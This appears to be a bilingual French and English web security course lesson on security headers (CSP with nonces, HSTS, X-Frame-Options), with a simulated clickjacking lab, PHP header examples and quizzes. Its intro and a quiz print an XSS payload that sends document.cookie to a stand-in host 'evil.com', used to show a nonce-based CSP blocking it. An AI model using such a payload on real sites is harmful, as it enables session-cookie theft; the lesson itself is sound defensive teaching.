Leçon 11/14 11 min

Headers de sécurité et CSP

CSP contre les scripts injectés, HSTS, anti-clickjacking : vole un clic en sandbox, puis les bons en-têtes de sécurité.

Le filet qui sauve quand une faille passe

Imaginez : malgré vos efforts, une XSS passe (leçon 4). Un oubli d'encodage, et un attaquant glisse ce script dans votre page :

<script>fetch('https://evil.com/c?' + document.cookie)</script>

Sans filet, c'est fini : le script s'exécute, lit le cookie de session, et la victime est volée. Mais supposons que vous ayez posé un en-tête Content-Security-Policy avec un nonce. Le navigateur n'exécute alors que les scripts portant ce nonce secret. Le script injecté, lui, ne l'a pas. Résultat : le navigateur refuse de l'exécuter. L'attaque meurt sur la dernière ligne de défense.

Ça, c'est le rôle des en-têtes de sécurité : armer le navigateur pour limiter la casse quand quelque chose passe. Ce ne sont pas des correctifs, c'est le filet sous le trapèze. Cette leçon couvre la CSP, HSTS et l'anti-clickjacking. C'est lié à l'OWASP 2025 (Security Misconfiguration).

Un repère par rapport à la leçon précédente (leçon 10, CORS) : la Same-Origin Policy contrôle qui peut lire une réponse cross-origin. La CSP, elle, contrôle ce qui peut s'exécuter dans la page. Les deux travaillent côte à côte, mais sur des axes différents.

Les en-têtes qui comptent

Un en-tête de sécurité, c'est le serveur qui dit au navigateur « applique cette règle en plus ». Voici les trois qui pèsent le plus.

Content-Security-Policy (CSP) contrôle ce que le navigateur a le droit de charger et d'exécuter. Son usage phare, c'est le filet qu'on vient de voir : le nonce. À chaque requête, le serveur tire un jeton aléatoire et le pose sur ses propres balises <script> ; la CSP n'exécute que les scripts qui le portent, jamais un script injecté. On y ajoute souvent 'strict-dynamic' : un script qui porte le bon nonce peut en charger d'autres considérés de confiance, sans avoir à tenir une liste blanche de domaines ou de CDN à jour.

Strict-Transport-Security (HSTS) force le navigateur à toujours passer par HTTPS pour votre domaine, pendant une durée donnée. Ça empêche un attaquant sur le réseau de rabattre la victime en HTTP pour l'espionner.

X-Frame-Options (ou la directive CSP frame-ancestors) interdit que votre page soit affichée dans une iframe sur un autre site. Ça bloque le clickjacking. Cette attaque rend votre page invisible et la cache sous un leurre, pour voler les clics de la victime. C'est exactement ce que vous allez faire dans le labo.

Les autres en-têtes, plus discrets mais utiles. X-Content-Type-Options: nosniff empêche le navigateur de « deviner » le type d'un fichier. Sans lui, une image piégée pourrait être exécutée comme du script. Referrer-Policy limite ce qui fuite dans l'en-tête Referer. Permissions-Policy coupe par défaut la caméra, le micro, la géoloc. (En revanche, X-XSS-Protection est obsolète : ne l'utilisez plus.)

À vous d'attaquer : volez un clic (clickjacking)

Voici une page evil.com qui promet un cadeau. Sous le bouton « cadeau », vous avez glissé, invisible, le vrai bouton « Supprimer mon compte » de la banque (dans une iframe). La victime croit cliquer le cadeau, mais elle clique le bouton de la banque. Cochez « Voir les couches » pour comprendre le piège. Puis activez X-Frame-Options sur la banque et constatez. Tout est simulé.

evil.com · « Vous avez gagné ! »
banque.com · paramètres
Zone de gestion du compte

    
Ce qui vient de se passer

Sans X-Frame-Options, la banque accepte d'être mise dans une iframe. L'attaquant la rend invisible et pose son leurre par-dessus. La victime clique « cadeau », mais le clic atterrit sur « Supprimer mon compte ». Cochez « Voir les couches » : vous voyez le bouton vert posé pile sur le rouge.

Avec X-Frame-Options: DENY (ou frame-ancestors 'none'), le navigateur refuse de charger la page de la banque dans l'iframe. Il n'y a plus rien à détourner sous le leurre : l'attaque échoue.

Le correctif : poser les bons en-têtes

La CSP avec nonce, d'abord. Le serveur génère un nonce aléatoire par requête, l'envoie dans l'en-tête, et le met sur ses propres scripts :

$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: "
     . "script-src 'nonce-$nonce' 'strict-dynamic'; "
     . "object-src 'none'; base-uri 'none'");
// puis dans la page :  <script nonce="<?= $nonce ?>"> … </script>

L'HSTS, le frame-ancestors (anti-clickjacking) et le nosniff tiennent en trois lignes :

header("Strict-Transport-Security: max-age=63072000; includeSubDomains; preload");
header("Content-Security-Policy: frame-ancestors 'none'"); // ou X-Frame-Options: DENY
header("X-Content-Type-Options: nosniff");

En vrai, on regroupe toutes les directives CSP dans un seul en-tête Content-Security-Policy. Le script-src et le frame-ancestors tiennent sur une même ligne, séparés par un ;. Pourquoi un seul en-tête ? Parce qu'avec deux en-têtes du même nom, le second écraserait le premier.

La CSP n'est pas un correctif de la XSS. Elle limite l'exploitation si une faille passe ; vous continuez à encoder en sortie (leçon 4). Et surtout : ne mettez jamais 'unsafe-inline' dans script-src. Ça autorise tous les scripts inline, y compris ceux de l'attaquant, et votre CSP ne protège plus rien (tout en affichant un faux A+ sur les scanners). Déployez d'abord la CSP en Report-Only pour repérer ce qui casse, puis activez-la.

Défense en profondeur :

  1. CSP avec nonce + 'strict-dynamic', jamais 'unsafe-inline' ;
  2. HSTS (max-age long + includeSubDomains) pour verrouiller le HTTPS ;
  3. frame-ancestors 'none' (ou X-Frame-Options: DENY) contre le clickjacking ;
  4. nosniff, Referrer-Policy, Permissions-Policy restrictive ;
  5. déployer la CSP en Report-Only d'abord, puis l'imposer.

Référence : OWASP Secure Headers Project.

La méthode et l'arsenal du pentester

Vous savez maintenant poser les bons en-têtes. Voyons l'envers du décor : comment un pentester les évalue, et quels outils il utilise pour trouver ce que vous avez oublié.

1. Scanner les en-têtes. On regarde la réponse du site : quels en-têtes de sécurité sont posés, lesquels manquent. Une CSP absente, pas de HSTS, pas d'anti-clickjacking, autant de portes laissées ouvertes.

2. Évaluer la CSP. Une CSP existe ? On cherche la faille : 'unsafe-inline' (la CSP ne sert plus à rien), un domaine whitelisté qui héberge n'importe quoi (vieux JSONP, CDN ouvert), un nonce réutilisé ou prévisible.

3. Tester le clickjacking. On essaie de mettre la page dans une iframe. Si elle s'affiche (pas de X-Frame-Options ni frame-ancestors), on monte une preuve : un leurre par-dessus l'action sensible.

L'arsenal.

Le piège du faux sentiment de sécurité

Les en-têtes rassurent vite, parfois trop. Trois pièges à connaître.

1. Un en-tête n'est pas un correctif. Il limite les dégâts d'une faille, il ne la ferme pas. On pose les en-têtes après avoir corrigé les vraies failles (leçons 4 à 10), jamais à la place.

2. Une CSP avec 'unsafe-inline' est décorative. Elle autorise les scripts injectés tout en décrochant un beau score sur les scanners : le faux sentiment de sécurité au carré.

3. Un nonce prévisible ne sert à rien. S'il est statique ou devinable, l'attaquant le copie sur son propre script. Il doit être aléatoire et régénéré à chaque requête.

Ce que ça révèle côté défense : on empile dans le bon ordre. D'abord corriger les failles (encodage en sortie, requêtes paramétrées, autorisation serveur, token CSRF…), ensuite armer le navigateur avec les en-têtes pour rattraper ce qui aurait pu passer. Le filet ne dispense pas de bien marcher sur le fil (leçon 2).

La checklist en-têtes

À poser sur chaque réponse de votre serveur.

  • CSP : script-src 'nonce-…' 'strict-dynamic', object-src 'none', base-uri 'none'. Jamais 'unsafe-inline'.
  • HSTS : max-age long, includeSubDomains (et preload quand vous êtes sûr).
  • Anti-clickjacking : frame-ancestors 'none' (ou 'self'), ou X-Frame-Options: DENY.
  • Compléments : X-Content-Type-Options: nosniff, Referrer-Policy, Permissions-Policy.
  • Méthode : CSP en Report-Only d'abord, surveiller, puis imposer.

Les références. securityheaders.com note votre site en un instant, et l'OWASP Secure Headers Project donne la liste à jour avec les bonnes valeurs. Pour la CSP en détail : MDN · CSP.

Rappel. Monter une preuve de clickjacking ou tester les en-têtes d'un site se fait sur ses propres systèmes ou une cible explicitement autorisée (leçon 1).

The net that saves you when a flaw slips through

Picture this: despite your efforts, an XSS slips through (lesson 4). A missed encoding, and an attacker drops this script into your page:

<script>fetch('https://evil.com/c?' + document.cookie)</script>

With no net, it's over: the script runs, reads the session cookie, and the victim is robbed. But suppose you set a Content-Security-Policy header with a nonce. The browser then only runs scripts carrying that secret nonce. The injected script doesn't have it. As a result: the browser refuses to run it. The attack dies on the last line of defense.

That's the role of security headers: arming the browser to limit the damage when something gets through. They're not fixes, they're the net under the trapeze. This lesson covers CSP, HSTS and anti-clickjacking. It maps to OWASP 2025 (Security Misconfiguration).

A reference point from the previous lesson (lesson 10, CORS): the Same-Origin Policy controls who can read a cross-origin response. The CSP controls what can execute inside the page. Both work side by side, but on different axes.

The headers that matter

A security header is the server telling the browser "enforce this extra rule". Here are the three that weigh the most.

Content-Security-Policy (CSP) controls what the browser may load and run. Its flagship use is the net we just saw: the nonce. On each request, the server draws a random token and puts it on its own <script> tags; the CSP only runs scripts that carry it, never an injected one. You often add 'strict-dynamic': a script that carries the right nonce can load other scripts considered trusted, without having to maintain a whitelist of domains or CDNs.

Strict-Transport-Security (HSTS) forces the browser to always use HTTPS for your domain, for a given duration. It stops a network attacker from downgrading the victim to HTTP to spy on them.

X-Frame-Options (or the CSP frame-ancestors directive) forbids your page from being shown in an iframe on another site. It blocks clickjacking. This attack makes your page invisible and hides it under a decoy, to steal the victim's clicks. That's exactly what you'll do in the lab.

The other headers, quieter but useful. X-Content-Type-Options: nosniff stops the browser from "guessing" a file's type. Without it, a booby-trapped image could run as script. Referrer-Policy limits what leaks in the Referer header. Permissions-Policy turns off camera, mic, geolocation by default. (On the other hand, X-XSS-Protection is obsolete: don't use it anymore.)

Your turn to attack: steal a click (clickjacking)

Here's an evil.com page promising a gift. Under the "gift" button, you've slipped, invisible, the bank's real "Delete my account" button (in an iframe). The victim thinks they click the gift, but they click the bank's button. Tick "Show the layers" to understand the trick. Then enable X-Frame-Options on the bank and see. Everything is simulated.

evil.com · "You won!"
bank.com · settings
Account management area

    
What just happened

Without X-Frame-Options, the bank agrees to be put in an iframe. The attacker makes it invisible and places their decoy on top. The victim clicks "gift", but the click lands on "Delete my account". Tick "Show the layers": you see the green button sitting right on the red one.

With X-Frame-Options: DENY (or frame-ancestors 'none'), the browser refuses to load the bank's page in the iframe. There's nothing left to hijack under the decoy: the attack fails.

The fix: set the right headers

The CSP with a nonce, first. The server generates a random nonce per request, sends it in the header, and puts it on its own scripts:

$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: "
     . "script-src 'nonce-$nonce' 'strict-dynamic'; "
     . "object-src 'none'; base-uri 'none'");
// then in the page:  <script nonce="<?= $nonce ?>"> … </script>

HSTS, frame-ancestors (anti-clickjacking) and nosniff fit in three lines:

header("Strict-Transport-Security: max-age=63072000; includeSubDomains; preload");
header("Content-Security-Policy: frame-ancestors 'none'"); // or X-Frame-Options: DENY
header("X-Content-Type-Options: nosniff");

In practice, you group all CSP directives into a single Content-Security-Policy header. The script-src and frame-ancestors fit on one line, separated by a ;. Why a single header? Because with two headers of the same name, the second would overwrite the first.

The CSP is not an XSS fix. It limits exploitation if a flaw slips through; you keep encoding output (lesson 4). And above all: never put 'unsafe-inline' in script-src. It allows every inline script, including the attacker's, and your CSP no longer protects anything (while showing a fake A+ on scanners). Deploy the CSP in Report-Only first to spot what breaks, then enforce it.

Defense in depth:

  1. CSP with a nonce + 'strict-dynamic', never 'unsafe-inline';
  2. HSTS (long max-age + includeSubDomains) to lock in HTTPS;
  3. frame-ancestors 'none' (or X-Frame-Options: DENY) against clickjacking;
  4. nosniff, Referrer-Policy, a restrictive Permissions-Policy;
  5. deploy the CSP in Report-Only first, then enforce it.

Reference: OWASP Secure Headers Project.

The pentester's method and arsenal

You now know how to set the right headers. Let's flip the perspective: here's how a pentester evaluates them, and what tools they use to find what you've left open.

1. Scan the headers. Look at the site's response: which security headers are set, which are missing. A missing CSP, no HSTS, no anti-clickjacking, all doors left open.

2. Evaluate the CSP. A CSP exists? Look for the flaw: 'unsafe-inline' (the CSP is useless), a whitelisted domain that hosts anything (old JSONP, an open CDN), a reused or predictable nonce.

3. Test clickjacking. Try to put the page in an iframe. If it shows (no X-Frame-Options or frame-ancestors), build a proof: a decoy over the sensitive action.

The arsenal.

The false sense of security trap

Headers reassure fast, sometimes too fast. Three traps to know.

1. A header is not a fix. It limits a flaw's damage, it doesn't close it. You set headers after fixing the real flaws (lessons 4 to 10), never instead of it.

2. A CSP with 'unsafe-inline' is decorative. It allows injected scripts while scoring nicely on scanners: a false sense of security, squared.

3. A predictable nonce is useless. If it's static or guessable, the attacker copies it onto their own script. It must be random and regenerated on every request.

What this reveals for defense: you stack in the right order. First fix the flaws (output encoding, parameterized queries, server-side authorization, CSRF token…), then arm the browser with headers to catch what might have slipped. The net doesn't excuse you from walking the wire well (lesson 2).

The headers checklist

To set on every response from your server.

  • CSP: script-src 'nonce-…' 'strict-dynamic', object-src 'none', base-uri 'none'. Never 'unsafe-inline'.
  • HSTS: long max-age, includeSubDomains (and preload when you're sure).
  • Anti-clickjacking: frame-ancestors 'none' (or 'self'), or X-Frame-Options: DENY.
  • Extras: X-Content-Type-Options: nosniff, Referrer-Policy, Permissions-Policy.
  • Method: CSP in Report-Only first, monitor, then enforce.

The references. securityheaders.com grades your site in an instant, and the OWASP Secure Headers Project gives the up-to-date list with the right values. For the CSP in detail: MDN · CSP.

Reminder. Building a clickjacking proof or testing a site's headers is done on your own systems or an explicitly authorized target (lesson 1).

Prédisez avant de lire

La même XSS passe sur deux pages. La page A n'a pas de CSP. La page B a Content-Security-Policy: script-src 'nonce-…'. Le script injecté est <script>fetch('//evil/?'+document.cookie)</script>. Avant de dérouler : sur laquelle s'exécute-t-il ?

Voir la réponse

Sur la page A : sans CSP, le navigateur exécute tout script présent dans la page, y compris l'injecté. Le cookie part chez l'attaquant. Sur la page B, la CSP n'exécute que les scripts portant le nonce du jour. Le script injecté ne l'a pas, donc le navigateur refuse de l'exécuter. Attention : la XSS existe toujours sur les deux pages (le correctif, c'est l'encodage en sortie, leçon 4). La CSP n'a fait que sauver la page B en bloquant l'exploitation.

Predict before reading on

The same XSS slips into two pages. Page A has no CSP. Page B has Content-Security-Policy: script-src 'nonce-…'. The injected script is <script>fetch('//evil/?'+document.cookie)</script>. Before you expand: on which one does it run?

Show the answer

On page A: with no CSP, the browser runs any script present in the page, including the injected one. The cookie goes to the attacker. On page B, the CSP only runs scripts carrying that request's nonce. The injected script doesn't have it, so the browser refuses to run it. Careful: the XSS still exists on both pages (the fix is output encoding, lesson 4). The CSP only saved page B by blocking exploitation.

🎯 Pratique

S'entraîner (clique pour ouvrir) :

💬 Ré-explique sans regarder
Ré-explique sans regarder

Avec tes mots : pourquoi dit-on que les en-têtes de sécurité sont un filet (et pas un correctif), et comment un nonce dans la CSP bloque un script injecté par une XSS ?

Une bonne explication dit : un en-tête de sécurité ne corrige pas la faille, il limite les dégâts si une faille passe quand même. La XSS se corrige par l'encodage en sortie (leçon 4) ; la CSP, elle, est le filet posé après, au cas où. Le nonce est un jeton aléatoire généré à chaque requête : le serveur le met sur ses propres balises <script> et dans l'en-tête CSP. Le navigateur n'exécute alors que les scripts qui portent ce nonce. Un script injecté par une XSS arrive sans le nonce (l'attaquant ne peut pas le deviner, il change à chaque requête), donc le navigateur refuse de l'exécuter. La faille existe toujours, mais elle n'est plus exploitable. C'est de la défense en profondeur.
🧠 Rappel libre
Rappel libre

Sans remonter : dis ce que fait la CSP avec nonce, ce que font HSTS et X-Frame-Options, et pourquoi une CSP ne remplace pas l'encodage en sortie.

La CSP avec nonce n'exécute que les scripts portant un jeton aléatoire posé par le serveur à chaque requête ; un script injecté n'a pas ce nonce, donc le navigateur le bloque (filet contre la XSS). HSTS force le navigateur à toujours utiliser HTTPS pour le domaine, ce qui empêche un rabattement en HTTP sur le réseau. X-Frame-Options (ou frame-ancestors) interdit que la page soit mise dans une iframe d'un autre site, ce qui bloque le clickjacking. Une CSP ne remplace pas l'encodage en sortie : la XSS existe toujours, la CSP ne fait qu'empêcher son exploitation. C'est la dernière couche, pas le correctif.
⚖️ Juge le code de l'IA
Accepter ou rejeter le code de l'IA

Tu poses une CSP, mais elle casse tes scripts <script> inline existants. L'IA propose : « Je règle ça en ajoutant 'unsafe-inline' à script-src. Comme ça tes scripts inline remarchent, et tu gardes une CSP, donc tu es protégé contre la XSS. » Tu acceptes, ou tu rejettes ?

À rejeter. 'unsafe-inline' autorise tous les scripts inline, y compris ceux qu'un attaquant injecte. La CSP ne bloque alors plus aucune XSS : elle est décorative. Pire, elle peut décrocher un bon score sur un scanner et te donner l'illusion d'être protégé. Le bon réflexe : garder une CSP sans 'unsafe-inline', et faire porter un nonce (ou un hash) à tes scripts inline légitimes, avec 'strict-dynamic'. Oui, ça demande de toucher à tes balises <script> pour y ajouter le nonce, mais c'est tout l'intérêt : seuls tes scripts tournent, pas ceux de l'attaquant. Une CSP avec 'unsafe-inline' ne vaut presque pas la peine d'exister.
Une XSS passe. La page a une CSP script-src 'nonce-…'. Qu'arrive-t-il au <script> injecté ?
À quoi sert Strict-Transport-Security (HSTS) ?
Que prévient X-Frame-Options: DENY (ou frame-ancestors 'none') ?
Une CSP est-elle un correctif de la XSS ?
Prochaine étape

Vous avez armé le navigateur. La leçon 12 descend d'un cran, vers ce qui chiffre et protège les secrets : la cryptographie appliquée, hachage vs chiffrement, HTTPS, et la règle d'or « ne roule jamais ta propre crypto ».

Leçon 12 : Cryptographie appliquée →
Besoin d'un développeur pour votre projet ?

Réponse sous 24h · Sans engagement